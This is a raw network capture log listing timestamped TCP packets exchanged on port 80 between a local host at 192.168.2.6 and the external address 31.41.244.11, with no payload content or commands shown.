Dec 20, 2024 17:43:23.401427031 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.401468992 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.402390957 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.402437925 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.402477026 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.402522087 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.403547049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.403594971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.403712988 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.403758049 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.404750109 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.404808044 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.404840946 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.404886961 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.405935049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.405992031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.406177044 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.406224012 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.407103062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.407150030 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.407237053 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.407280922 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.408449888 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.408495903 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.408581018 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.408622026 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.409600973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.409648895 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.409701109 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.409745932 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.410682917 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.410732031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.411097050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.411144018 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.411794901 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.411842108 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.541606903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.541626930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.541668892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.541711092 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.541933060 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.541980982 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.542109966 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.542160034 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.543128967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.543180943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.543203115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.543243885 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.544302940 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.544353962 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.544361115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.544404984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.545497894 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.545548916 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.545713902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.545758009 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.546797037 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.546847105 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.546883106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.546932936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.547810078 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.547857046 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.548228979 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.548274040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.549001932 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.549058914 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.549251080 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.549297094 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.550405025 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.550456047 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.550493956 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.550539017 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.551346064 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.551395893 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.551589012 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.551636934 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.552532911 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.552582979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.552602053 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.552648067 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.553740978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.553786993 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.554752111 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.554799080 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.554930925 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.554944038 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.554974079 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.555002928 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.556107044 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.556158066 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.556195974 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.556241035 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.557308912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.557364941 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.557441950 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.557487011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.558486938 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.558547020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.558588028 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.558634996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.559688091 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.559748888 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.559808969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.559854984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.560914993 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.560978889 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.561045885 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.561091900 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.562048912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.562108994 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.562200069 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.562247992 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.563194990 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.563251019 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.563347101 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.563393116 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.564369917 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.564419031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.564455986 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.564501047 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.565574884 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.565625906 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.565673113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.565717936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.566790104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.566839933 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.566874027 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.566921949 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.567922115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.567975998 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.568144083 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.568192959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.569149017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.569200039 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.569237947 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.569283009 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.570338964 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.570389032 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.570691109 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.570734024 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.571619034 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.571669102 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.572113037 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.572164059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.572709084 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.572758913 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.572985888 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.573029995 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.573873997 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.573926926 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.574002028 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.574047089 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.575269938 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.575329065 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.575361967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.575409889 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.576256990 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.576308012 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.577152967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.577203989 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.577481985 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.577532053 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.577563047 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.577605009 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.578592062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.578648090 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.578737974 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.578783989 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.579808950 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.579859972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.580382109 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.580509901 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.581012964 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.581060886 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.581094027 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.581140041 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.582186937 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.582237959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.582359076 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.582402945 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.583326101 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.583373070 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.583447933 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.583492994 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.584553957 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.584602118 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.584846973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.584892988 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.586005926 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.586026907 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.586051941 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.586082935 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.586879015 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.586927891 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.587201118 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.587246895 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.588171959 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.588229895 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.588265896 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.588313103 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.589286089 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.589394093 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.590467930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.590496063 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.590522051 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.590544939 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.590857029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.590905905 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.591667891 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.591723919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.591908932 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.591954947 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.592926979 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.592957973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.592988968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.593000889 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.594079971 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.594136000 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.594276905 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.594324112 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.595242977 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.595323086 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.595422029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.595474005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.596425056 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.596479893 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.596659899 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.596709013 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.597542048 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.597594976 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.597748041 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.597795963 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.598710060 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.598762989 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.598789930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.598840952 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.600100040 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.600157022 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.600428104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.600475073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.601152897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.601208925 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.601428986 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.601478100 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.602385044 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.602438927 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.602452993 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.602500916 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.603468895 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.603522062 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.733685970 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.733741999 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.733771086 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.733814001 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.734253883 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.734298944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.734472990 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.734523058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.735671997 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.735714912 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.735948086 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.735987902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.735990047 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.736032963 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.737020016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.737065077 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.737143993 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.737185001 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.738233089 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.738280058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.738439083 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.738488913 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.739450932 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.739466906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.739501953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.739521027 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.740591049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.740638018 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.741187096 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.741233110 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.741755962 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.741801977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.741924047 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.741969109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.742930889 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.742979050 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.743094921 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.743139029 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.744154930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.744242907 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.744406939 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.744448900 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.745332956 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.745382071 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.745461941 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.745506048 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.746503115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.746555090 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.746562958 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.746608019 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.747726917 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.747780085 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.747878075 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.747922897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.748951912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.749001980 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.749633074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.749677896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.750108957 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.750122070 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.750155926 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.752732992 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.752769947 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.752782106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.752788067 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.752815008 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.752827883 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.752995968 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.753154039 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.753741026 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.753752947 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.753793001 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.754842997 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.754890919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.754959106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.755006075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.756077051 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.756123066 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.757024050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.757070065 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.757242918 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.757253885 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.757292986 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.758361101 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.758409977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.758516073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.758563042 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.759610891 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.759660959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.759670019 CET	80	49732	31.41.244.11	192.168.2.6
